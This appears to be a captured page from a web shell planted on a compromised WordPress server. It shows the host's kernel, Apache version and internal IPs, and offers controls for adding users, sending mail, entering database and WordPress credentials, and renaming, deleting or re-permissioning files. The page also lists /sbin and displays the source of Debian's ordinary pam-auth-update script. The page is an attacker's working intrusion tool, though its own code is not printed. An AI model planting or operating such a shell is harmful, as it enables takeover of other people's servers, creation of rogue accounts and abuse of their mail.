System
:
Linux wordpress 7.0.14-6-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.14-6 (2026-07-20T14:45Z) x86_64
Software
:
Apache/2.4.67 (Debian)
Server
:
192.168.20.30
Domains
:
Cant read /etc/named.conf
Permission
:
[
drwxr-xr-x
]
:
/
sbin
/
192.168.10.18
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for stevesummers.com.au made by tabagkayu.
Folder Name
File Name
File Content
File
pam-auth-update
#!/usr/bin/perl -w # pam-auth-update: update /etc/pam.d/common-* from /usr/share/pam-configs # # Update the /etc/pam.d/common-* files based on the per-package profiles # provided in /usr/share/pam-configs/ taking into consideration user's # preferences (as determined via debconf prompting). # # Written by Steve Langasek <steve.langasek@canonical.com> # # Copyright (C) 2008 Canonical Ltd. # # This program is free software; you can redistribute it and/or modify # it under the terms of version 3 of the GNU General Public License as # published by the Free Software Foundation. # # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, # USA. use strict; use Debconf::Client::ConfModule ':all'; use IPC::Open2 'open2'; version('2.0'); my $capb=capb('backup escape'); my $inputdir = '/usr/share/pam-configs'; my $template = 'libpam-runtime/profiles'; my $errtemplate = 'libpam-runtime/conflicts'; my $overridetemplate = 'libpam-runtime/override'; my $blanktemplate = 'libpam-runtime/no_profiles_chosen'; my $titletemplate = 'libpam-runtime/title'; my $confdir = '/etc/pam.d'; my $savedir = '/var/lib/pam'; my (%profiles, @sorted, @enabled, @conflicts, @new, %removals, %to_disable, %to_enable); my $force = 0; my $package = 0; my $priority = 'high'; my %md5sums = ( 'auth' => ['8d4fe17e66ba25de16a117035d1396aa'], 'account' => ['3c0c362eaf3421848b679d63fd48c3fa'], 'password' => [ '4d5c92d595a46b69cd61f18feb4c0574', '50fce2113dfda83ac8bdd5a6e706caec', '4bd7610f2e85f8ddaef79c7db7cb49eb', '9ba753d0824276b44bcadfee1f87b6bc', ], 'session' => [ 'f297c731a467822cbd86e1283263e8a3', '240fb92986c885b327cdb21dd641da8c', '4a25673e8b36f1805219027d3be02cd2', '9e633425b1878897695217ecaf75e204', ], 'session-noninteractive' => [ 'ad2b78ce1498dd637ef36469430b6ac6', '53c1ede0bf4c07879d3582d875917545', ], ); my @invalid_modules = ('pam_tally'); # use a '--force' arg to specify that /etc/pam.d should be overwritten; # used only on upgrades where the postinst has already determined that the # checksums match. Module packages other than libpam-runtime itself must # NEVER use this option! Document with big skullses and crossboneses! It # needs to be exposed for libpam-runtime because that's the package that # decides whether we have a pristine config to be converted, and knows # whether the version being upgraded from is one for which the conversion # should be done. while ($#ARGV >= 0) { my $opt = shift; if ($opt eq '--force') { $force = 1; } elsif ($opt eq '--package') { $package = 1; } elsif ($opt eq '--root') { my $rootdir = shift @ARGV; $savedir = "${rootdir}$savedir"; $confdir = "${rootdir}$confdir"; $inputdir = "${rootdir}$inputdir"; } elsif ($opt eq '--remove') { while ($#ARGV >= 0) { last if ($ARGV[0] =~ /^--/); $removals{shift @ARGV} = 1; } # --remove implies --package $package = 1 if (keys(%removals)); } elsif ($opt eq '--disable') { while ($#ARGV >= 0) { last if ($ARGV[0] =~ /^--/); $to_disable{shift @ARGV} = 1; } # --disable implies --package $package = 1 if (keys(%to_disable)); } elsif ($opt eq '--enable') { while ($#ARGV >= 0) { last if ($ARGV[0] =~ /^--/); $to_enable{shift @ARGV} = 1; } # --enable implies --package $package = 1 if (keys(%to_enable)); } } opendir(DIR, $inputdir) || die "could not open config directory: $!"; while (my $profile = readdir(DIR)) { next if ($profile eq '.' || $profile eq '..' || $profile =~ m/~$/ || $profile =~ m/^#.+#$/); %{$profiles{$profile}} = parse_pam_profile($inputdir . '/' . $profile); if (defined $profiles{$profile}{'disabled'} and $profiles{$profile}{'disabled'}) { delete $profiles{$profile}; } } closedir DIR; $priority = 'medium' if ($package); x_loadtemplatefile('/var/lib/dpkg/info/libpam-runtime.templates','libpam-runtime'); # always sort by priority, so we have consistency and don't have to # shuffle later @sorted = sort { $profiles{$b}->{'Priority'} <=> $profiles{$a}->{'Priority'} || $b cmp $a } keys(%profiles); # If we're being called for package removal, filter out those options here @sorted = grep { !$removals{$_} } @sorted; subst($template, 'profile_names', join(', ',@sorted)); subst($template, 'profiles', join(', ', map { $profiles{$_}->{'Name'} } @sorted)); my $diff = diff_profiles($confdir,$savedir); if ($diff) { @enabled = grep { !$removals{$_} } @{$diff->{'mods'}}; } else { @enabled = split(/, /,get($template)); } # find out what we've seen, so we can ignore those defaults my %seen; if (-e $savedir . '/seen') { open(SEEN,$savedir . '/seen') or die("open(${savedir}/seen) failed: $!"); while (<SEEN>) { chomp; $seen{$_} = 1; } close(SEEN); } # filter out any options that are no longer available for any reason @enabled = grep { $profiles{$_} } @enabled; # add configs to enable push(@enabled, grep { $to_enable{$_} } @sorted); # Disable anything explicitly disabled @enabled = grep {!$to_disable{$_} } @enabled; # And we've seen anything we disable foreach my $i (keys %to_disable) { $seen{$i} = 1; } # an empty module set is an error, so in that case grab all the defaults if (!@enabled) { %seen = (); $priority = 'high' unless ($force); } # add any previously-unseen configs push(@enabled, grep { $profiles{$_}->{'Default'} eq 'yes' && !$seen{$_} } @sorted); @enabled = sort { $profiles{$b}->{'Priority'} <=> $profiles{$a}->{'Priority'} || $b cmp $a } @enabled; my $prev = ''; @enabled = grep { $_ ne $prev && (($prev) = $_) } @enabled; # Do we have any new options to show? If not, we shouldn't reprompt the # user, at any priority level, unless explicitly called. @new = grep { !$seen{$_} } @sorted; settitle($titletemplate); # if diff_profiles() fails, and we weren't passed a 'force' argument # (because this isn't an upgrade from an old version, or the checksum # didn't match, or we're being called by some other module package), prompt # the user whether to override. If the user declines (the default), we # never again manage this config unless manually called with '--force'. if (!$diff && !$force) { input('high',$overridetemplate); go(); $force = 1 if (get($overridetemplate) eq 'true'); } if (!$diff && !$force) { print STDERR <<EOF; pam-auth-update: Local modifications to /etc/pam.d/common-*, not updating. pam-auth-update: Run pam-auth-update --force to override. EOF exit; } umask(0022); do { @conflicts = (); if (@new || !$package) { fset($template,'seen','false'); } set($template,join(', ', @enabled)); input($priority,$template); go(); @enabled = split(/, /, get($template)); # in case of conflicts, automatically unset the lower priority # item of each pair foreach my $elem (@enabled) { for (my $i=$#enabled; $i >= 0; $i--) { my $conflict = $enabled[$i]; if ($profiles{$elem}->{'Conflicts'}->{$conflict}) { splice(@enabled,$i,1); my $desc = $profiles{$elem}->{'Name'} . ', ' . $profiles{$conflict}->{'Name'}; push(@conflicts,$desc); } } } if (@conflicts) { subst($errtemplate, 'conflicts', join("\\n", @conflicts)); input('high',$errtemplate); } set($template, join(', ', @enabled)); if (!@enabled) { input('high',$blanktemplate); # we can only end up here by user error, but give them another # shot at selecting a correct config anyway. fset($template,'seen','false'); } } while (@conflicts || !@enabled); # the decision has been made about what configs to use, so even if # something fails after this, we shouldn't go munging the default # options again. Save the list of known configs to /var/lib/pam. open(SEEN,"> $savedir/seen") or die("open(${savedir}/seen) failed: $!"); for my $i (@sorted) { print SEEN "$i\n"; } close(SEEN) or die("close(${savedir}/seen) failed: $!"); # @enabled now contains our list of profiles to use for piecing together # a config # we have: # - templates into which we insert the specialness # - magic comments denoting the beginning and end of our managed block; # looking at only the functional config lines would potentially let us # handle more cases, at the expense of much greater complexity, so # pass on this at least for the first round # - a representation of the autogenerated config stored in /var/lib/pam, # that we can diff against in order to account for changed options or # manually dropped modules # - a hash describing the local modifications the user has made to the # config; these are always preserved unless manually overridden with # the --force option write_profiles(\%profiles, \@enabled, $confdir, $savedir, $diff, $force); # take a single line from a stock config, and merge it with the # information about local admin edits sub merge_one_line { my ($line,$diff,$count) = @_; my (@opts,$modline); my ($adds,$removes); $line =~ /^((\[[^]]+\]|\w+)\s+\S+)\s*(.*)/; @opts = split(/\s+/,$3); $modline = $1; $modline =~ s/end/$count/g; if ($diff) { my $mod = $modline; $mod =~ s/(\[[^0-9]*)[0-9]+(.*\])/$1$2/g; $adds = \%{$diff->{'add'}{$mod}}; $removes = \%{$diff->{'remove'}{$mod}}; } else { $adds = $removes = undef; } for (my $i = 0; $i <= $#opts; $i++) { if ($adds->{$opts[$i]}) { delete $adds->{$opts[$i]}; } if ($removes->{$opts[$i]}) { splice(@opts,$i,1); $i--; } } return $modline . " " . join(' ',@opts,sort keys(%{$adds})) . "\n"; } # return the lines for a given config name, type, and position in the stack sub lines_for_module_and_type { my ($profiles, $mod, $type, $modpos) = @_; if ($modpos == 0 && $profiles->{$mod}{$type . '-Initial'}) { return $profiles->{$mod}{$type . '-Initial'}; } return $profiles->{$mod}{$type}; } # create a single PAM config from the indicated template and selections, # writing to a new file sub create_from_template { my($template,$dest,$profiles,$enabled,$diff,$type) = @_; my $state = 0; my $uctype = ucfirst($type); $type =~ s/-noninteractive//; open(INPUT,$template) || return 0; open(OUTPUT,">$dest") || return 0; while (<INPUT>) { if ($state == 1) { if (/^# here's the fallback if no module succeeds/) { print OUTPUT; $state++; } next; } if ($state == 3) { if (/^# end of pam-auth-update config/) { print OUTPUT; $state++; } next; } print OUTPUT; my ($pattern,$val); if ($state == 0) { $pattern = '^# here are the per-package modules \(the "Primary" block\)'; $val = 'Primary'; } elsif ($state == 2) { $pattern = '^# and here are more per-package modules \(the "Additional" block\)'; $val = 'Additional'; } else { next; } if (/$pattern/) { my $i = 0; my $count = 0; # first we need to get a count of lines that we're # going to output, so we can fix up the jumps correctly for my $mod (@{$enabled}) { my $output; next if (!$profiles->{$mod}{$uctype . '-Type'}); next if $profiles->{$mod}{$uctype . '-Type'} ne $val; $output = lines_for_module_and_type($profiles, $mod, $uctype, $i++); # bypasses a perl warning about @_, sigh my @tmparr = split("\n+",$output); $count += @tmparr; } # in case anything tries to jump in the 'additional' # block, let's try not to jump off the stack... $count-- if ($val eq 'Additional'); # no primary block, so output a stock pam_permit line # to keep the stack intact if ($val eq 'Primary' && $count == 0) { print OUTPUT "$type\t[default=1]\t\t\tpam_permit.so\n"; } $i = 0; for my $mod (@{$enabled}) { my $output; my @output; next if (!$profiles->{$mod}{$uctype . '-Type'}); next if $profiles->{$mod}{$uctype . '-Type'} ne $val; $output = lines_for_module_and_type($profiles, $mod, $uctype, $i++); for my $line (split("\n",$output)) { $line = merge_one_line($line,$diff, $count); print OUTPUT "$type\t$line"; $count--; } } $state++; } } close(INPUT); close(OUTPUT) or die("close($dest) failed: $!"); if ($state < 4) { unlink($dest); return 0; } return 1; } # take a template file, strip out everything between the markers, and # return the md5sum of the remaining contents. Used for testing for # local modifications of the boilerplate. sub get_template_md5sum { my($template) = @_; my $state = 0; open(INPUT,$template) || return ''; my($md5sum_fd,$output_fd); my $pid = open2($md5sum_fd, $output_fd, 'md5sum'); return '' if (!$pid); while (<INPUT>) { if ($state == 1) { if (/^# here's the fallback if no module succeeds/) { print $output_fd $_; $state++; } next; } if ($state == 3) { if (/^# end of pam-auth-update config/) { print $output_fd $_; $state++; } next; } print $output_fd $_; my ($pattern,$val); if ($state == 0) { $pattern = '^# here are the per-package modules \(the "Primary" block\)'; } elsif ($state == 2) { $pattern = '^# and here are more per-package modules \(the "Additional" block\)'; } else { next; } if (/$pattern/) { $state++; } } close(INPUT); close($output_fd); my $md5sum = <$md5sum_fd>; close($md5sum_fd); waitpid $pid, 0; $md5sum = (split(/\s+/,$md5sum))[0]; return $md5sum; } # merge a set of module declarations into a set of new config files, # using the information returned from diff_profiles(). sub write_profiles { my($profiles,$enabled,$confdir,$savedir,$diff,$force) = @_; if (! -d $savedir) { mkdir($savedir); } # because we can't atomically replace both /var/lib/pam/$foo and # /etc/pam.d/common-$foo at the same time, take steps to make this # somewhat robust for my $type ('auth','account','password','session', 'session-noninteractive') { my $target = $confdir . '/common-' . $type; my $template = $target; my $dest = $template . '.pam-new'; my $diff = $diff; if ($diff) { $diff = \%{$diff->{$type}}; } # Detect if the template is unmodified, and if so, use # the version from /usr/share. Depends on knowing the # md5sums of the originals. my $md5sum = get_template_md5sum($template); for my $i (@{$md5sums{$type}}) { if ($md5sum eq $i) { $template = '/usr/share/pam/common-' . $type; last; } } # first, write out the new config if (!create_from_template($template,$dest,$profiles,$enabled, $diff,$type)) { if (!$force) { return 0; } $template = '/usr/share/pam/common-' . $type; if (!create_from_template($template,$dest,$profiles, $enabled,$diff,$type)) { return 0; } } # then write out the saved config if (!open(OUTPUT, "> $savedir/$type.new")) { unlink($dest); return 0; } my $i = 0; my $uctype = ucfirst($type); for my $mod (@{$enabled}) { my $output; next if (!$profiles->{$mod}{$uctype . '-Type'}); next if ($profiles->{$mod}{$uctype . '-Type'} eq 'Additional'); $output = lines_for_module_and_type($profiles, $mod, $uctype, $i++); if ($output) { print OUTPUT "Module: $mod\n"; print OUTPUT $output . "\n"; } } # no primary block, so output a stock pam_permit line if ($i == 0) { print OUTPUT "Module: null\n"; print OUTPUT "[default=1]\t\t\tpam_permit.so\n"; } $i = 0; for my $mod (@{$enabled}) { my $output; next if (!$profiles->{$mod}{$uctype . '-Type'}); next if ($profiles->{$mod}{$uctype . '-Type'} eq 'Primary'); $output = lines_for_module_and_type($profiles, $mod, $uctype, $i++); if ($output) { print OUTPUT "Module: $mod\n"; print OUTPUT $output . "\n"; } } close(OUTPUT) or die("close($dest) failed: $!"); # then do the renames, back-to-back # we have to use system because File::Copy is in # perl-modules, not perl-base if (-e $target && $force) { system('cp','-f',$target,$target . '.pam-old') == 0 or die("cp -f ${target} ${target}.pam.old failed"); } rename($dest,$target) or die("rename($dest, $target) failed: $!"); rename("$savedir/${type}.new","$savedir/$type") or die("rename(${savedir}/${type}.new, ${savedir}/${type}) failed: $!"); } # at the end of a successful write, reset the 'seen' flag and the # value of the debconf override question. fset($overridetemplate,'seen','false'); set($overridetemplate,'false'); } # reconcile the current config in /etc/pam.d with the saved ones in # /var/lib/pam; returns a hash of profile names and the corresponding # options that should be added/removed relative to the stock config. # returns false if any of the markers are missing that permit a merge, # or on any other failure. sub diff_profiles { my ($sourcedir,$savedir) = @_; my (%diff); @{$diff{'mods'}} = (); # Load the saved config from /var/lib/pam, then iterate through all # lines in the current config that are in the managed block. # If anything fails here, just return immediately since we then # have nothing to merge; instead, the caller will decide later # whether to force an overwrite. for my $type ('auth','account','password','session', 'session-noninteractive') { my (@saved,$modname); open(SAVED,$savedir . '/' . $type) || return 0; while (<SAVED>) { if (/^Module: (.*)/) { $modname = $1; next; } chomp; # trim out the destination of any jumps; this saves # us from having to re-parse everything just to fix # up the jump lengths, when changes to these will # already show up as inconsistencies elsewhere s/(\[[^0-9]*)[0-9]+(.*\])/$1$2/g; s/(\[.*)end(.*\])/$1$2/g; my (@temp) = ($modname,$_); push(@saved,\@temp); } close(SAVED); my $state = 0; my (@prev_opts,$curmod); my $realtype = $type; $realtype =~ s/-noninteractive//; open(CURRENT,$sourcedir . '/common-' . $type) || return 0; while (<CURRENT>) { if ($state == 0) { $state = 1 if (/^# here are the per-package modules \(the "Primary" block\)/); next; } if ($state == 1) { s/^$realtype\s+//; if (/^# here's the fallback if no module succeeds/) { $state = 2; next; } } if ($state == 2) { $state = 3 if (/^# and here are more per-package modules \(the "Additional" block\)/); next; } if ($state == 3) { last if (/^# end of pam-auth-update config/); s/^$realtype\s+//; } my $found = 0; my $curopts; while (!$found && $#saved >= 0) { my $line; ($modname,$line) = @{$saved[0]}; shift(@saved); $line =~ /^((\[[^]]+\]|\w+)\s+\S+)\s*(.*)/; @prev_opts = split(/\s+/,$3); $curmod = $1; # FIXME: the key isn't derived from the config # name, so collisions are possible if more # than one config references the same module $_ =~ s/(\[[^0-9]*)[0-9]+(.*\])/$1$2/g; # check if this is a match for the current line if ($_ =~ /^\Q$curmod\E\s*(.*)$/) { $found = 1; $curopts = $1; push(@{$diff{'mods'}},$modname); } } # there's a line in the live config that doesn't # correspond to anything from the saved config. # treat this as a failure; it's very error-prone # to decide what to do with an added line that # didn't come from a package. return 0 if (!$found); for my $opt (split(/\s+/,$curopts)) { my $found = 0; for (my $i = 0; $i <= $#prev_opts; $i++) { if ($prev_opts[$i] eq $opt) { $found = 1; splice(@prev_opts,$i,1); } } $diff{$type}{'add'}{$curmod}{$opt} = 1 if (!$found); } for my $opt (@prev_opts) { $diff{$type}{'remove'}{$curmod}{$opt} = 1; } } close(CURRENT); # we couldn't parse the config, so the merge fails return 0 if ($state < 3); } return \%diff; } # simple function to parse a provided config file, in pseudo-RFC822 # format, sub parse_pam_profile { my ($profile) = $_[0]; my $fieldname; my %profile; open(PROFILE, $profile) || die "could not read profile $profile: $!"; while (<PROFILE>) { if (/^(\S+):\s+(.*)\s*$/) { $fieldname = $1; # compatibility with the first implementation round; # "Auth-Final" is now just called "Auth" $fieldname =~ s/-Final$//; if ($fieldname eq 'Conflicts') { foreach my $elem (split(/, /, $2)) { $profile{'Conflicts'}->{$elem} = 1; } } else { $profile{$fieldname} = $2; } } else { chomp; s/^\s+//; s/\s+$//; $profile{$fieldname} .= "\n$_" if ($_); if (grep { $profile{$fieldname} =~ /$_/} @invalid_modules) { $profile{'disabled'} = 1; } $profile{$fieldname} =~ s/^[\n\s]+//; } } close(PROFILE); if (!defined($profile{'Session-Interactive-Only'}) or $profile{'Session-Interactive-Only'} ne 'yes') { $profile{'Session-noninteractive-Type'} = $profile{'Session-Type'}; $profile{'Session-noninteractive'} = $profile{'Session'}; $profile{'Session-noninteractive-Initial'} = $profile{'Session-Initial'}; } return %profile; }
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2026-06-18 12:53:59
..
DIR
-
drwxr-xr-x
2025-10-01 02:43:15
a2disconf
text/x-perl
15.75 KB
-rwxr-xr-x
2026-06-03 02:17:04
a2dismod
text/x-perl
15.75 KB
-rwxr-xr-x
2026-06-03 02:17:04
a2dissite
text/x-perl
15.75 KB
-rwxr-xr-x
2026-06-03 02:17:04
a2enconf
text/x-perl
15.75 KB
-rwxr-xr-x
2026-06-03 02:17:04
a2enmod
text/x-perl
15.75 KB
-rwxr-xr-x
2026-06-03 02:17:04
a2ensite
text/x-perl
15.75 KB
-rwxr-xr-x
2026-06-03 02:17:04
a2query
text/x-perl
9.6 KB
-rwxr-xr-x
2026-06-05 10:55:53
accessdb
application/x-pie-executable
14.46 KB
-rwxr-xr-x
2025-05-02 01:24:27
add-shell
text/x-shellscript
1.03 KB
-rwxr-xr-x
2025-07-27 11:01:22
addgnupghome
text/x-shellscript
3 KB
-rwxr-xr-x
2026-05-09 11:39:37
addgroup
text/x-perl
58.03 KB
-rwxr-xr-x
2025-05-06 06:25:46
adduser
text/x-perl
58.03 KB
-rwxr-xr-x
2025-05-06 06:25:46
agetty
application/x-pie-executable
107.57 KB
-rwxr-xr-x
2025-05-09 10:54:07
apache2
application/x-pie-executable
724.53 KB
-rwxr-xr-x
2026-06-05 10:55:53
apache2ctl
text/x-shellscript
7.26 KB
-rwxr-xr-x
2026-06-05 10:51:48
apachectl
text/x-shellscript
7.26 KB
-rwxr-xr-x
2026-06-05 10:51:48
applygnupgdefaults
text/x-shellscript
2.17 KB
-rwxr-xr-x
2026-05-09 11:39:37
arpd
application/x-pie-executable
110.55 KB
-rwxr-xr-x
2025-05-26 11:16:26
badblocks
application/x-pie-executable
34.25 KB
-rwxr-xr-x
2026-05-09 11:36:41
biosdecode
application/x-pie-executable
27.13 KB
-rwxr-xr-x
2024-11-15 05:41:58
blkdiscard
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
blkid
application/x-pie-executable
138.41 KB
-rwxr-xr-x
2025-05-09 10:54:07
blkpr
application/x-pie-executable
38.39 KB
-rwxr-xr-x
2025-05-09 10:54:07
blkzone
application/x-pie-executable
90.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
blockdev
application/x-pie-executable
94.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
bridge
application/x-pie-executable
170.62 KB
-rwxr-xr-x
2025-05-26 11:16:26
capsh
application/x-pie-executable
53.32 KB
-rwxr-xr-x
2026-05-07 09:57:24
cfdisk
application/x-pie-executable
110.74 KB
-rwxr-xr-x
2025-05-09 10:54:07
chcpu
application/x-pie-executable
46.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
check_forensic
text/x-shellscript
952 B
-rwxr-xr-x
2011-04-26 03:10:00
chgpasswd
application/x-pie-executable
66.42 KB
-rwxr-xr-x
2025-04-19 10:20:28
chmem
application/x-pie-executable
70.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
chpasswd
application/x-pie-executable
95.09 KB
-rwxr-xr-x
2025-04-19 10:20:28
chroot
application/x-pie-executable
50.41 KB
-rwxr-xr-x
2025-06-04 03:14:05
cron
application/x-pie-executable
58.66 KB
-rwxr-xr-x
2025-06-13 08:30:37
ctrlaltdel
application/x-pie-executable
42.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
dbconfig-generate-include
text/x-shellscript
12.36 KB
-rwxr-xr-x
2025-04-27 12:58:00
dbconfig-load-include
text/x-shellscript
5.57 KB
-rwxr-xr-x
2025-04-27 12:58:00
dcb
application/x-pie-executable
170.67 KB
-rwxr-xr-x
2025-05-26 11:16:26
debugfs
application/x-pie-executable
249.83 KB
-rwxr-xr-x
2026-05-09 11:36:41
delgroup
text/x-perl
20.71 KB
-rwxr-xr-x
2025-05-06 06:25:46
deluser
text/x-perl
20.71 KB
-rwxr-xr-x
2025-05-06 06:25:46
depmod
application/x-pie-executable
170.24 KB
-rwxr-xr-x
2025-04-25 09:50:41
devlink
application/x-pie-executable
239.05 KB
-rwxr-xr-x
2025-05-26 11:16:26
dhclient
application/x-pie-executable
2.65 MB
-rwxr-xr-x
2025-05-03 05:16:14
dhclient-script
text/x-shellscript
14.29 KB
-rwxr-xr-x
2025-05-03 05:16:14
dhcpcd
application/x-pie-executable
379.31 KB
-rwxr-xr-x
2025-12-25 09:40:14
dmidecode
application/x-pie-executable
139.27 KB
-rwxr-xr-x
2024-11-15 05:41:58
dpkg-preconfigure
text/x-perl
4.46 KB
-rwxr-xr-x
2025-03-10 12:07:15
dpkg-reconfigure
text/x-perl
4.43 KB
-rwxr-xr-x
2025-03-10 12:07:15
dumpe2fs
application/x-pie-executable
30.31 KB
-rwxr-xr-x
2026-05-09 11:36:41
e2freefrag
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2026-05-09 11:36:41
e2fsck
application/x-pie-executable
352.42 KB
-rwxr-xr-x
2026-05-09 11:36:41
e2image
application/x-pie-executable
54.45 KB
-rwxr-xr-x
2026-05-09 11:36:41
e2label
application/x-pie-executable
118.52 KB
-rwxr-xr-x
2026-05-09 11:36:41
e2mmpstatus
application/x-pie-executable
30.31 KB
-rwxr-xr-x
2026-05-09 11:36:41
e2scrub
text/x-shellscript
7.36 KB
-rwxr-xr-x
2026-05-09 11:36:41
e2scrub_all
text/x-shellscript
4.91 KB
-rwxr-xr-x
2026-05-09 11:36:41
e2undo
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2026-05-09 11:36:41
e4crypt
application/x-pie-executable
26.3 KB
-rwxr-xr-x
2026-05-09 11:36:41
e4defrag
application/x-pie-executable
34.23 KB
-rwxr-xr-x
2026-05-09 11:36:41
faillock
application/x-pie-executable
22.24 KB
-rwxr-xr-x
2025-06-29 05:40:46
fdisk
application/x-pie-executable
174.43 KB
-rwxr-xr-x
2025-05-09 10:54:07
filefrag
application/x-pie-executable
18.26 KB
-rwxr-xr-x
2026-05-09 11:36:41
findfs
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
fsck
application/x-pie-executable
58.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
fsck.cramfs
application/x-pie-executable
46.45 KB
-rwxr-xr-x
2025-05-09 10:54:07
fsck.ext2
application/x-pie-executable
352.42 KB
-rwxr-xr-x
2026-05-09 11:36:41
fsck.ext3
application/x-pie-executable
352.42 KB
-rwxr-xr-x
2026-05-09 11:36:41
fsck.ext4
application/x-pie-executable
352.42 KB
-rwxr-xr-x
2026-05-09 11:36:41
fsck.minix
application/x-pie-executable
138.41 KB
-rwxr-xr-x
2025-05-09 10:54:07
fsfreeze
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
fstab-decode
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2025-03-10 04:49:51
fstrim
application/x-pie-executable
86.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
genl
application/x-pie-executable
126.59 KB
-rwxr-xr-x
2025-05-26 11:16:26
getcap
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2026-05-07 09:57:24
getpcaps
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2026-05-07 09:57:24
getty
application/x-pie-executable
107.57 KB
-rwxr-xr-x
2025-05-09 10:54:07
groupadd
application/x-pie-executable
103.16 KB
-rwxr-xr-x
2025-04-19 10:20:28
groupdel
application/x-pie-executable
90.99 KB
-rwxr-xr-x
2025-04-19 10:20:28
groupmod
application/x-pie-executable
103.15 KB
-rwxr-xr-x
2025-04-19 10:20:28
grpck
application/x-pie-executable
62.43 KB
-rwxr-xr-x
2025-04-19 10:20:28
grpconv
application/x-pie-executable
58.27 KB
-rwxr-xr-x
2025-04-19 10:20:28
grpunconv
application/x-pie-executable
58.27 KB
-rwxr-xr-x
2025-04-19 10:20:28
halt
application/x-pie-executable
290.92 KB
-rwxr-xr-x
2026-04-13 07:38:05
httxt2dbm
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2026-06-05 10:55:53
hwclock
application/x-pie-executable
94.4 KB
-rwxr-xr-x
2025-05-09 10:54:07
iconvconfig
application/x-pie-executable
30.4 KB
-rwxr-xr-x
2026-04-27 08:09:22
ifdown
text/x-script.python
4.16 KB
-rwxr-xr-x
2020-08-28 02:01:19
ifquery
text/x-script.python
4.16 KB
-rwxr-xr-x
2020-08-28 02:01:19
ifreload
text/x-script.python
4.16 KB
-rwxr-xr-x
2020-08-28 02:01:19
ifup
text/x-script.python
4.16 KB
-rwxr-xr-x
2020-08-28 02:01:19
init
application/x-pie-executable
130.38 KB
-rwxr-xr-x
2026-04-13 07:38:05
insmod
application/x-pie-executable
170.24 KB
-rwxr-xr-x
2025-04-25 09:50:41
installkernel
text/x-shellscript
2.65 KB
-rwxr-xr-x
2025-07-27 11:01:22
invoke-rc.d
text/x-shellscript
16.13 KB
-rwxr-xr-x
2022-07-04 10:14:09
ip
application/x-pie-executable
704.99 KB
-rwxr-xr-x
2025-05-26 11:16:26
isosize
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
killall5
application/x-pie-executable
26.31 KB
-rwxr-xr-x
2025-03-10 04:49:51
ldattach
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
ldconfig
application/x-pie-executable
965.01 KB
-rwxr-xr-x
2026-04-27 08:09:22
locale-gen
text/x-shellscript
1.52 KB
-rwxr-xr-x
2026-04-27 08:09:22
logrotate
application/x-pie-executable
90.16 KB
-rwxr-xr-x
2024-07-14 04:30:23
logsave
application/x-pie-executable
14.09 KB
-rwxr-xr-x
2026-05-09 11:36:41
losetup
application/x-pie-executable
130.53 KB
-rwxr-xr-x
2025-05-09 10:54:07
lsmod
application/x-pie-executable
170.24 KB
-rwxr-xr-x
2025-04-25 09:50:41
make-ssl-cert
text/x-shellscript
6.65 KB
-rwxr-xr-x
2024-08-04 09:38:36
mariadbd
application/x-pie-executable
27 MB
-rwxr-xr-x
2026-03-06 01:13:13
mke2fs
application/x-pie-executable
142.58 KB
-rwxr-xr-x
2026-05-09 11:36:41
mkfs
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
mkfs.bfs
application/x-pie-executable
38.39 KB
-rwxr-xr-x
2025-05-09 10:54:07
mkfs.cramfs
application/x-pie-executable
50.32 KB
-rwxr-xr-x
2025-05-09 10:54:07
mkfs.ext2
application/x-pie-executable
142.58 KB
-rwxr-xr-x
2026-05-09 11:36:41
mkfs.ext3
application/x-pie-executable
142.58 KB
-rwxr-xr-x
2026-05-09 11:36:41
mkfs.ext4
application/x-pie-executable
142.58 KB
-rwxr-xr-x
2026-05-09 11:36:41
mkfs.minix
application/x-pie-executable
126.4 KB
-rwxr-xr-x
2025-05-09 10:54:07
mkhomedir_helper
application/x-pie-executable
14.26 KB
-rwxr-xr-x
2025-06-29 05:40:46
mklost+found
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2026-05-09 11:36:41
mkswap
application/x-pie-executable
134.39 KB
-rwxr-xr-x
2025-05-09 10:54:07
modinfo
application/x-pie-executable
170.24 KB
-rwxr-xr-x
2025-04-25 09:50:41
modprobe
application/x-pie-executable
170.24 KB
-rwxr-xr-x
2025-04-25 09:50:41
mysqld
application/x-pie-executable
27 MB
-rwxr-xr-x
2026-03-06 01:13:13
newusers
application/x-pie-executable
106.97 KB
-rwxr-xr-x
2025-04-19 10:20:28
nft
application/x-pie-executable
26.15 KB
-rwxr-xr-x
2025-06-10 08:18:17
nologin
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
ownership
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2024-11-15 05:41:58
pam-auth-update
text/x-perl
20.94 KB
-rwxr-xr-x
2025-06-29 05:40:46
pam_getenv
text/x-perl
2.82 KB
-rwxr-xr-x
2025-06-29 05:40:46
pam_namespace_helper
text/x-shellscript
467 B
-rwxr-xr-x
2025-06-29 05:40:46
